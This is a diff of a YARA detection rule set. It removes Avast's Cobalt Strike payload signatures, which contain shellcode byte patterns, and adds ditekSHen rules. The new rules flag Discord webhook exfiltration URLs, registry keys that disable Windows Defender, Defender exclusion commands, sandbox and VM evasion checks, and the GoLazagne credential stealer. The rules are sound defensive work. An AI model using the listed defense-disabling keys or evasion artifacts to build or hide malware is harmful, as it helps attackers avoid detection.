+		description = "Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc."
+		author = "ditekSHen"
+		id = "b76ba291-6af5-5800-a280-c04c84cc3f29"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1310-L1321"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "35a7a9c0722d8bd174b272c659e62db3e9f41483dc3a9bf5f339b9066ed06c57"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+		$s1 = "U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA" ascii wide
+		$s2 = "L2Mgc2NodGFza3MgL2" ascii wide
+		$s3 = "QW1zaVNjYW5CdWZmZXI" ascii wide
+		$s4 = "VmlydHVhbFByb3RlY3Q" ascii wide
 
 	condition:
-		uint32(@h01+0x00a1)==0xe553a458 and uint32(@h01+0x00c4)==0xd4df7045 and uint32(@h01+0x00d2)==0xe27d6f28 and uint32(@h01+0x00f8)==0xbb5f9ead and uint32(@h01+0x010d)==0xbb5f9ead and uint32(@h01+0x0131)==0xfcddfac0 and uint32(@h01+0x0139)==0x528796c6 and uint32(@h01+0x014b)==0x56a2b5f0
+		uint16(0)==0x5a4d and 2 of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Bind_X86
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Discordurl : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "ec0a9e27-3650-5393-a93b-2a461b9a0e29"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L59-L96"
-		license_url = "N/A"
-		logic_hash = "5c56e1f1d85375f19b6085b3d4654d2d1ba38d3dfcfea66707ca8957a6ed7bf8"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables Discord URL observed in first stage droppers"
+		author = "ditekSHen"
+		id = "d7221bb4-48c5-5d80-ace1-95cf25fb585d"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1323-L1338"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "7f600215268147f8e18f2b4eb6b2e9ba6dd44ab5603a140d3e1b2bb16ebb29c4"
+		score = 40
+		quality = 37
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+		$s1 = "https://discord.com/api/webhooks/" ascii wide nocase
+		$s2 = "https://cdn.discordapp.com/attachments/" ascii wide nocase
+		$s3 = "aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va" ascii wide
+		$s4 = "aHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobW" ascii wide
+		$s5 = "/skoohbew/ipa/moc.drocsid//:sptth" ascii wide nocase
+		$s6 = "/stnemhcatta/moc.ppadrocsid.ndc//:sptth" ascii wide nocase
+		$s7 = "av9GaiV2dvkGch9SbvNmLkJ3bjNXak9yL6MHc0RHa" ascii wide
+		$s8 = "WboNWY0RXYv02bj5CcwFGZy92YzlGZu4GZj9yL6MHc0RHa" ascii wide
 
 	condition:
-		uint32(@h01+0x009c)==0x0726774c and uint32(@h01+0x00ac)==0x006b8029 and uint32(@h01+0x00bb)==0xe0df0fea and uint32(@h01+0x00d5)==0x6737dbc2 and uint32(@h01+0x00de)==0xff38e9b7 and uint32(@h01+0x00e8)==0xe13bec74 and uint32(@h01+0x00f1)==0x614d6e75 and uint32(@h01+0x00fa)==0x56a2b5f0 and uint32(@h01+0x0107)==0x5fc8d902 and uint32(@h01+0x011a)==0xe553a458 and uint32(@h01+0x0128)==0x5fc8d902 and uint32(@h01+0x013d)==0x614d6e75
+		uint16(0)==0x5a4d and any of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Bind_X64
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Regkeycomb_Disablewindefender : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "3575408a-3309-5723-a49a-9c2088d43de9"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L98-L133"
-		license_url = "N/A"
-		logic_hash = "a803a9c76142ccadda5f5c8f6abf78ac9a60523576edf62f4a1600556f4b6261"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables embedding registry key / value combination indicative of disabling Windows Defender features"
+		author = "ditekSHen"
+		id = "74c82d78-bdb3-54af-b04a-20d66ff123d7"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1448-L1470"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "5a33052ded0823a8528590bd0da0023024db174f6f6a0766284c3195f5d3d41f"
+		score = 40
+		quality = 33
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
+		$r1 = "SOFTWARE\\Policies\\Microsoft\\Windows Defender" ascii wide nocase
+		$k1 = "DisableAntiSpyware" ascii wide
+		$r2 = "SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" ascii wide nocase
+		$k2 = "DisableBehaviorMonitoring" ascii wide
+		$k3 = "DisableOnAccessProtection" ascii wide
+		$k4 = "DisableScanOnRealtimeEnable" ascii wide
+		$r3 = "SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection" ascii wide nocase
+		$k5 = "vDisableRealtimeMonitoring" ascii wide
+		$r4 = "SOFTWARE\\Microsoft\\Windows Defender\\Spynet" ascii wide nocase
+		$k6 = "SpyNetReporting" ascii wide
+		$k7 = "SubmitSamplesConsent" ascii wide
+		$r5 = "SOFTWARE\\Microsoft\\Windows Defender\\Features" ascii wide nocase
+		$k8 = "TamperProtection" ascii wide
+		$r6 = "SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths" ascii wide nocase
+		$k9 = "Add-MpPreference -ExclusionPath \"{0}\"" ascii wide
 
 	condition:
-		uint32(@h01+0x0100)==0x0726774c and uint32(@h01+0x0111)==0x006b8029 and uint32(@h01+0x012d)==0xe0df0fea and uint32(@h01+0x0142)==0x6737dbc2 and uint32(@h01+0x0150)==0xff38e9b7 and uint32(@h01+0x0161)==0xe13bec74 and uint32(@h01+0x016f)==0x614d6e75 and uint32(@h01+0x0198)==0x5fc8d902 and uint32(@h01+0x01b8)==0xe553a458 and uint32(@h01+0x01d2)==0x5fc8d902 and uint32(@h01+0x01ee)==0x614d6e75
+		uint16(0)==0x5a4d and (1 of ($r*) and 1 of ($k*))
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Reverse_X86
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Regkeycomb_Iexecutecommandcom : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "ac824189-614d-5bff-9bbb-a4244cace563"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L135-L164"
-		license_url = "N/A"
-		logic_hash = "c20de49c3225a7aed8460d0e3cc3bce715c8746fb4313a2faf9da3c8d1d87387"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables embedding command execution via IExecuteCommand COM object"
+		author = "ditekSHen"
+		id = "4bc7e6aa-1771-5c33-bc62-71072dec04cb"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1472-L1486"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "269109f96f3fca5eacc19664b7b0c7f970131db29c47bfe1e9e67e56604bf1c1"
+		score = 40
+		quality = 43
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+		$r1 = "Classes\\Folder\\shell\\open\\command" ascii wide nocase
+		$k1 = "DelegateExecute" ascii wide
+		$s1 = "/EXEFilename \"{0}" ascii wide
+		$s2 = "/WindowState \"\"" ascii wide
+		$s3 = "/PriorityClass \"\"32\"\" /CommandLine \"" ascii wide
+		$s4 = "/StartDirectory \"" ascii wide
+		$s5 = "/RunAs" ascii wide
 
 	condition:
-		uint32(@h01+0x009c)==0x0726774c and uint32(@h01+0x00ac)==0x006b8029 and uint32(@h01+0x00bb)==0xe0df0fea and uint32(@h01+0x00d5)==0x6174a599 and uint32(@h01+0x00e5)==0x56a2b5f0 and uint32(@h01+0x00f2)==0x5fc8d902 and uint32(@h01+0x0105)==0xe553a458 and uint32(@h01+0x0113)==0x5fc8d902
+		uint16(0)==0x5a4d and ((1 of ($r*) and 1 of ($k*)) or ( all of ($s*)))
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Reverse_X64
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_WMI_Enumeratevideodevice : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "21151a9c-1d15-514f-b33b-c9eff08463fb"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L166-L195"
-		license_url = "N/A"
-		logic_hash = "58ae5351bac70ab9530cb033d1f6bb90acb6b66df395d59a55d221ef2a2e5dcf"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables attemping to enumerate video devices using WMI"
+		author = "ditekSHen"
+		id = "6d4ede5e-4ec5-5753-bd50-8e129ac532a4"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1488-L1502"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "8ef63d7a569ee1530a23d151ee394969f4b3b6bac28ed571f48e3f97b87d020a"
+		score = 40
+		quality = 41
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
+		$q1 = "Select * from Win32_CacheMemory" ascii wide nocase
+		$d1 = "{860BB310-5D01-11d0-BD3B-00A0C911CE86}" ascii wide
+		$d2 = "{62BE5D10-60EB-11d0-BD3B-00A0C911CE86}" ascii wide
+		$d3 = "{55272A00-42CB-11CE-8135-00AA004BB851}" ascii wide
+		$d4 = "SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}\\000" ascii wide nocase
+		$d5 = "HardwareInformation.AdapterString" ascii wide
+		$d6 = "HardwareInformation.qwMemorySize" ascii wide
 
 	condition:
-		uint32(@h01+0x0100)==0x0726774c and uint32(@h01+0x0111)==0x006b8029 and uint32(@h01+0x012d)==0xe0df0fea and uint32(@h01+0x0142)==0x6174a599 and uint32(@h01+0x016b)==0x5fc8d902 and uint32(@h01+0x018b)==0xe553a458 and uint32(@h01+0x01a5)==0x5fc8d902 and uint32(@h01+0x01c1)==0x614d6e75
+		uint16(0)==0x5a4d and ((1 of ($q*) and 1 of ($d*)) or 3 of ($d*))
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Http_Stager_X86
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Dcratby : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "01f89b14-55f2-5a5e-b0d5-6bca609621fe"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L197-L232"
-		license_url = "N/A"
-		logic_hash = "d3c74ff363d113d25d9ecca114dd0872487e713a978da4f94f3cccc2e92943ff"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables containing the string DcRatBy"
+		author = "ditekSHen"
+		id = "d8408cc0-0245-59b7-9134-1f4edd811df7"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1504-L1512"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "1a0f863fb71c84a9a01c3f07da0fdff9ea06b061f85532ac523d6a5d1e0e1e11"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+		$s1 = "DcRatBy" ascii wide
 
 	condition:
-		uint32(@h01+0x009c)==0x0726774c and uint32(@h01+0x00aa)==0xa779563a and uint32(@h01+0x00c6)==0xc69f8957 and uint32(@h01+0x00de)==0x3b2e55eb and uint32(@h01+0x00f2)==0x7b18062d and uint32(@h01+0x010b)==0x5de2c5aa and uint32(@h01+0x0114)==0x315e2145 and uint32(@h01+0x0123)==0x0be057b7 and uint32(@h01+0x02c4)==0x56a2b5f0 and uint32(@h01+0x02d8)==0xe553a458 and uint32(@h01+0x02f3)==0xe2899612
+		uint16(0)==0x5a4d and all of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Http_Stager_X64
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Anti_Winjail : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "7eeeb2a1-4903-5649-ae30-fd43367ab468"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L234-L263"
-		license_url = "N/A"
-		logic_hash = "a89a8e25d894bf7e5c4a10e2a14b78a52543e42fb185667db9f9548f52ef58bf"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables potentially checking for WinJail sandbox window"
+		author = "ditekSHen"
+		id = "f3a3d099-7659-50aa-8dca-3a2b1c18c3b5"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1514-L1522"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "ae8080dad4481b6a2e295c29d3ed24e86da83575e1a5aeda8b1317e6caa74707"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
+		$s1 = "Afx:400000:0" fullword ascii wide
 
 	condition:
-		uint32(@h01+0x00e9)==0x0726774c and uint32(@h01+0x0101)==0xa779563a and uint32(@h01+0x0120)==0xc69f8957 and uint32(@h01+0x013f)==0x3b2e55eb and uint32(@h01+0x0163)==0x7b18062d and uint32(@h01+0x0308)==0x56a2b5f0 and uint32(@h01+0x0324)==0xe553a458 and uint32(@h01+0x0342)==0xe2899612
+		uint16(0)==0x5a4d and all of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Https_Stager_X86
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Anti_Oldcopypaste : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "f1d7e939-92b5-5441-8014-b2390854d059"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L266-L303"
-		license_url = "N/A"
-		logic_hash = "c168b6f2ce35e57cd4c572ce40652261df7af7900beab7ffcdae58113cad88c0"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables potentially checking for WinJail sandbox window"
+		author = "ditekSHen"
+		id = "10a70ad3-c37e-5522-ae3f-3f85f89f9394"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1524-L1543"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "084a1613eaf1df4cd54c44e4389b9edc1c44b4b947a8c4416cb7cbdabc186747"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
+		$s1 = "This file can't run into Virtual Machines" wide
+		$s2 = "This file can't run into Sandboxies" wide
+		$s3 = "This file can't run into RDP Servers" wide
+		$s4 = "Run without emulation" wide
+		$s5 = "Run using valid operating system" wide
+		$v1 = "SbieDll.dll" fullword wide
+		$v2 = "USER" fullword wide
+		$v3 = "SANDBOX" fullword wide
+		$v4 = "VIRUS" fullword wide
+		$v5 = "MALWARE" fullword wide
+		$v6 = "SCHMIDTI" fullword wide
+		$v7 = "CURRENTUSER" fullword wide
 
 	condition:
-		uint32(@h01+0x009c)==0x0726774c and uint32(@h01+0x00af)==0xa779563a and uint32(@h01+0x00cb)==0xc69f8957 and uint32(@h01+0x00e7)==0x3b2e55eb and uint32(@h01+0x0100)==0x869e4675 and uint32(@h01+0x0110)==0x7b18062d and uint32(@h01+0x0129)==0x5de2c5aa and uint32(@h01+0x0132)==0x315e2145 and uint32(@h01+0x0141)==0x0be057b7 and uint32(@h01+0x02e9)==0x56a2b5f0 and uint32(@h01+0x02fd)==0xe553a458 and uint32(@h01+0x0318)==0xe2899612
+		uint16(0)==0x5a4d and (3 of ($s*) or all of ($v*))
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Https_Stager_X64
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Go_Golazagne : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "5f9c7426-63be-5049-91fc-63b5c29618bd"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L306-L337"
-		license_url = "N/A"
-		logic_hash = "cb36d75efcd0e76bf96793863d1aa5145237ec3ce5c7195e679f2e1019d5bbab"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects Go executables using GoLazagne"
+		author = "ditekSHen"
+		id = "3b54892d-8015-518c-af0b-03ddd65478f6"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1545-L1554"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "9618f8a6eb9a5db01b7a58a469309220b1e22afe928006d642e5404380f312f1"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
+		$s1 = "/goLazagne/" ascii nocase
+		$s2 = "Go build ID:" ascii
 
 	condition:
-		uint32(@h01+0x00e9)==0x0726774c and uint32(@h01+0x0101)==0xa779563a and uint32(@h01+0x0123)==0xc69f8957 and uint32(@h01+0x0142)==0x3b2e55eb and uint32(@h01+0x016c)==0x869e4675 and uint32(@h01+0x0186)==0x7b18062d and uint32(@h01+0x032b)==0x56a2b5f0 and uint32(@h01+0x0347)==0xe553a458 and uint32(@h01+0x0365)==0xe2899612
+		uint16(0)==0x5a4d and all of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Dns_Stager_X86_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_CSPROJ : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "d148ca33-b233-519d-8ba4-d389de721d15"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L339-L354"
-		license_url = "N/A"
-		logic_hash = "3519d2af99a159483ba22cd87907bcc87bea1cfc2fb92f5f0334fff1c385ef00"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects suspicious .CSPROJ files then compiled with msbuild"
+		author = "ditekSHen"
+		id = "99f9fbd0-9435-511a-b9f5-7ea11e655b79"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1556-L1568"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "e41c82ab0da47192463f76192ea7748dfcf59193475871daf1a7a4ff2fda4d52"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+		$s1 = "ToolsVersion=" ascii
+		$s2 = "/developer/msbuild/" ascii
+		$x1 = "[DllImport(\"\\x" ascii
+		$x2 = "VirtualAlloc(" ascii nocase
+		$x3 = "CallWindowProc(" ascii nocase
 
 	condition:
-		uint32(@h01+0x0149)==0xe5005300 and uint32(@h01+0x017d)==0x07002600 and uint32(@h01+0x0261)==0xc9009c00 and uint32(@h01+0x0333)==0x5600a200 and uint32(@h01+0x034b)==0xe0003500 and uint32(@h01+0x03cb)==0xcc008e00
+		uint32(0)==0x6f72503c and ( all of ($s*) and 2 of ($x*))
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Smb_Stager_X86_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Sandbox_Evasion_Filescomb : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "d88e050f-9e6c-5349-b809-ad7dc25a79b9"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L356-L373"
-		license_url = "N/A"
-		logic_hash = "74c50e1c989167ea6d9309e2b53629c7103484faa809a80e90b7d5c318b2370c"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing specific set of files observed in sandob anti-evation, and Emotet"
+		author = "ditekSHen"
+		id = "04108277-03ac-5479-ac9f-0c7377dc70b8"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1694-L1711"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "d9f235e212e75cef51e3321f49968c75523304dc94a2b7cf3965c9f88d039b43"
+		score = 40
+		quality = 23
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+		$s1 = "c:\\take_screenshot.ps1" ascii wide nocase
+		$s2 = "c:\\loaddll.exe" ascii wide nocase
+		$s3 = "c:\\email.doc" ascii wide nocase
+		$s4 = "c:\\email.htm" ascii wide nocase
+		$s5 = "c:\\123\\email.doc" ascii wide nocase
+		$s6 = "c:\\123\\email.docx" ascii wide nocase
+		$s7 = "c:\\a\\foobar.bmp" ascii wide nocase
+		$s8 = "c:\\a\\foobar.doc" ascii wide nocase
+		$s9 = "c:\\a\\foobar.gif" ascii wide nocase
+		$s10 = "c:\\symbols\\aagmmc.pdb" ascii wide nocase
 
 	condition:
-		uint32(@h01+0x0145)==0xe5005300 and uint32(@h01+0x018b)==0xd400df00 and uint32(@h01+0x01a7)==0xe2007d00 and uint32(@h01+0x01f3)==0xbb005f00 and uint32(@h01+0x021d)==0xbb005f00 and uint32(@h01+0x0265)==0xfc00dd00 and uint32(@h01+0x0275)==0x52008700 and uint32(@h01+0x0299)==0x5600a200
+		uint16(0)==0x5a4d and 6 of them
 }
-rule AVASTTI_Cobaltstrike_Raw_Payload_Tcp_Bind_X86_Utf16
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_VM_Evasion_Virtdrvcomb : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "7f17985d-b245-5e95-9b35-af669aafc263"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/CobaltStrike/yara_rules/cs_rules.yar#L375-L396"
-		license_url = "N/A"
-		logic_hash = "2c5ac98ffbea197d14cd6e508729885b5f86adbace0a6d978664908e070965cf"
-		score = 75
-		quality = 90
-		tags = ""
+		description = "Detects executables referencing combination of virtualization drivers"
+		author = "ditekSHen"
+		id = "88f271d5-07a3-5ca6-9536-4f68bccf49bc"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1713-L1757"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a7bbd05e17b8a111b841ed2a86b4794cde8972a673acf331d800029e54d8f602"
+		score = 40
+		quality = 43
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$h01 = { FC 00 E8 00 89 00 00 00 00 00 00 00 60 00 89 00 E5 00 31 00 D2 00 64 00 8B 00 52 00 30 00 8B 00 52 00 0C 00 8B 00 52 00 14 00 8B 00 72 00 28 }
+		$p1 = "prleth.sys" ascii wide
+		$p2 = "prlfs.sys" ascii wide
+		$p3 = "prlmouse.sys" ascii wide
+		$p4 = "prlvideo.sys	" ascii wide
+		$p5 = "prltime.sys" ascii wide
+		$p6 = "prl_pv32.sys" ascii wide
+		$p7 = "prl_paravirt_32.sys" ascii wide
+		$vb1 = "VBoxMouse.sys" ascii wide
+		$vb2 = "VBoxGuest.sys" ascii wide
+		$vb3 = "VBoxSF.sys" ascii wide
+		$vb4 = "VBoxVideo.sys" ascii wide
+		$vb5 = "vboxdisp.dll" ascii wide
+		$vb6 = "vboxhook.dll" ascii wide
